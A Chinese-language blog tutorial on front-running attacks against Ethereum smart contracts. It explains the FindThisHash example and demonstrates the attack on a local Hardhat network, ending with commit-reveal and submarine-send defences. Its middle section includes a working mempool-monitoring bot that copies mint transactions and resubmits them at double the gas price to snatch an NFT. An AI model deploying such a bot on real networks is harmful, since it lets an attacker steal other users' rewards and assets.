合約安全:搶先提交(Front Running)

一、漏洞

與大多數(shù)區(qū)塊鏈一樣,以太坊節(jié)點(diǎn)匯集交易并將其打包成塊。一旦礦工獲得了共識機(jī)制(目前以太坊上實(shí)行的是 ETHASH 工作量證明算法)的一個(gè)解,這些交易就被認(rèn)為是有效的。挖出該區(qū)塊的礦工同時(shí)也選擇將交易池中的哪些交易包含在該區(qū)塊中,一般來說是根據(jù)交易的 gasPrice 來排序。在這里有一個(gè)潛在的攻擊媒介。攻擊者可以監(jiān)測交易池,看看其中是否存在問題的解決方案(如下合約所示)、修改或撤銷攻擊者的權(quán)限、或更改合約中狀態(tài)的交易;這些交易對攻擊者來說都是阻礙。然后攻擊者可以從該中獲取數(shù)據(jù),并創(chuàng)建一個(gè) gasPrice 更高的交易,(讓自己的交易)搶在原始交易之前被打包到一個(gè)區(qū)塊中。

讓我們看看這可以如何用一個(gè)簡單的例子。考慮合約 FindThisHash.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract FindThisHash {
    bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
    
    constructor() payable {} // load with ether
    
    function solve(string calldata solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == keccak256(abi.encodePacked(solution)), "Answer is wrong"); 
        payable(msg.sender).transfer(10 ether);
    }
}

想象一下,這個(gè)合約包含 10 個(gè) Ether??梢哉业?keccak256 哈希值為 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2的原象(Pre-image)的用戶可以提交解決方案,然后取得 10 Ether。讓我們假設(shè),一個(gè)用戶找到了答案 Ethereum 。他們可以調(diào)用 solve() 并將 Ethereum 作為參數(shù)。不幸的是,攻擊者非常聰明,他監(jiān)測交易池看看有沒有人提交解決方案。他們看到這個(gè)解決方案,檢查它的有效性,然后提交一個(gè) gasPrice 遠(yuǎn)高于原始交易的相同交易。挖出當(dāng)前塊的礦工可能會(huì)因更高的 gasPrice 而偏愛攻擊者發(fā)出的交易,并在打包原始交易之前接受他們的交易。攻擊者將獲得10 Ether,解決問題的用戶將不會(huì)得到任何東西(因?yàn)楹霞s中沒有剩余的 Ether)。

未來 Casper 實(shí)現(xiàn)的設(shè)計(jì)中會(huì)出現(xiàn)更現(xiàn)實(shí)的問題。Casper 權(quán)益證明合約涉及罰沒條件,在這些條件下,注意到驗(yàn)證者雙重投票或行為不當(dāng)?shù)挠脩舯患?lì)提交驗(yàn)證者已經(jīng)這樣做的證據(jù)。驗(yàn)證者將受到懲罰、用戶會(huì)得到獎(jiǎng)勵(lì)。在這種情況下,可以預(yù)期,礦工和用戶會(huì)搶先提交(Front-run)所有這樣的證據(jù)(以獲得獎(jiǎng)勵(lì)),這個(gè)問題必須在最終發(fā)布之前解決。

二、搶先提交的代碼實(shí)現(xiàn)

其實(shí)搶先提交的步驟很簡單:

  • 1.監(jiān)聽mempool
  • 2.提交transaction data

我們用hardhat做演示。

首先我們寫了一個(gè)mint NFT的合約,因?yàn)楹芏鄷r(shí)候,在mint一些比較有價(jià)值的NFT時(shí),科學(xué)家們會(huì)采用搶先交易,這樣不會(huì)代碼的朋友就搶不過別人了。合約代碼很簡單:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Uncomment this line to use console.log
import "hardhat/console.sol";

contract Test is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {}

    function mint(uint256 tokenId) external {
        _mint(msg.sender, tokenId);
    }
}

這個(gè)合約用戶可以mint。

我們將這個(gè)合約發(fā)布在hardhat的node網(wǎng)絡(luò)里,在這個(gè)EVM環(huán)境里,出塊速度很快,由于網(wǎng)絡(luò)太快那搶先提交就很難,所以我們寫個(gè)腳本手動(dòng)放慢EVM:

import { ethers } from "hardhat";

async function main() {
    const provider = ethers.getDefaultProvider("http://localhost:8545");

    await (provider as any).send("evm_setAutomine", [false]);
    await (provider as any).send("evm_setIntervalMining", [10000]);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

我們不讓EVM自動(dòng)出塊,而且出塊間隔為10秒鐘。

我們先模擬一個(gè)不會(huì)代碼的普通用戶辛苦搶NFT(tokenID為25)的過程:

task("test-transaction", "This task is broken")
    .setAction(async () => {
        const tokenId = 25;
        const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
        const test = await ethers.getContractAt('Test', contractAddress);

        try {
            const tx = await test.mint(tokenId);
            await tx.wait();
        } catch (e) {
            console.error(e);
        } finally {
            const owner = await test.ownerOf(tokenId);
            console.log(`owner of ${tokenId}: ${owner}`);
        }
    });

科學(xué)家寫了下面的腳本:

import { ethers } from "hardhat";

const ContractAbiFile = require("../artifacts/contracts/Test.sol/Test.json");

/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
    const iface = new ethers.utils.Interface(ContractAbiFile.abi);
    const privateKey = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
    const provider = ethers.getDefaultProvider("http://localhost:8545");
    const myWallet = new ethers.Wallet(privateKey, provider);

    // await (provider as any).send("evm_setIntervalMining", [10000]);
    provider.on("pending", async (tx) => {
        console.log("tx detected: ", tx);
        if (tx.data.indexOf(iface.getSighash("mint")) >= 0 && tx.from !== myWallet.address) {
            // const parsedTx = iface.parseTransaction(tx);
            // console.log("tx parsed: ", parsedTx);

            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                gasPrice: tx.gasPrice.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            };
            const tmpTx = await myWallet.sendTransaction(frontRunTx);
            console.log("Front Tx=", tmpTx);
            await tmpTx.wait();
        }
    })
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

在這個(gè)腳本里,科學(xué)家監(jiān)測了mempool,發(fā)現(xiàn)有新的tx進(jìn)來,一旦發(fā)現(xiàn)data中有函數(shù)簽名mint,那就選定了目標(biāo),新建一個(gè)交易,這個(gè)交易中其他數(shù)據(jù)都和監(jiān)控的交易一樣,唯一的區(qū)別就是提高了gasPricegasLimit,然后使用sendTransaction發(fā)送交易。

最后上一個(gè)普通用戶執(zhí)行完后,發(fā)現(xiàn)自己的transaction failed了。而且最后輸出了tokenID為25的這個(gè)NFT的owner,發(fā)現(xiàn)已經(jīng)是科學(xué)家的地址了:
科學(xué)家搶先交易

這個(gè)例子中,明明是普通用戶先行mint,結(jié)果科學(xué)家卻搶先交易成功了。

三、預(yù)防手段

1.使用 commit-reveal 機(jī)制

這種方案規(guī)定用戶使用隱藏信息(通常是哈希值)發(fā)送交易。在交易已包含在塊中后,用戶將發(fā)送一個(gè)交易來顯示已發(fā)送的數(shù)據(jù)(reveal 階段)。這種方法可以防止礦工和用戶從事?lián)屜冉灰?,因?yàn)樗麄儫o法確定交易的內(nèi)容。然而,這種方法不能隱藏交易價(jià)值(在某些情況下,這是需要隱藏的有價(jià)值的信息)。ENS 智能合約允許用戶發(fā)送交易,其承諾數(shù)據(jù)包括他們愿意花費(fèi)的金額。用戶可以發(fā)送任意值的交易。在披露階段,用戶可以取出交易中發(fā)送的金額與他們愿意花費(fèi)的金額之間的差額。

2.使用 submarine send

有關(guān)submarine send的詳細(xì)介紹原網(wǎng)頁:https://libsubmarine.org/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容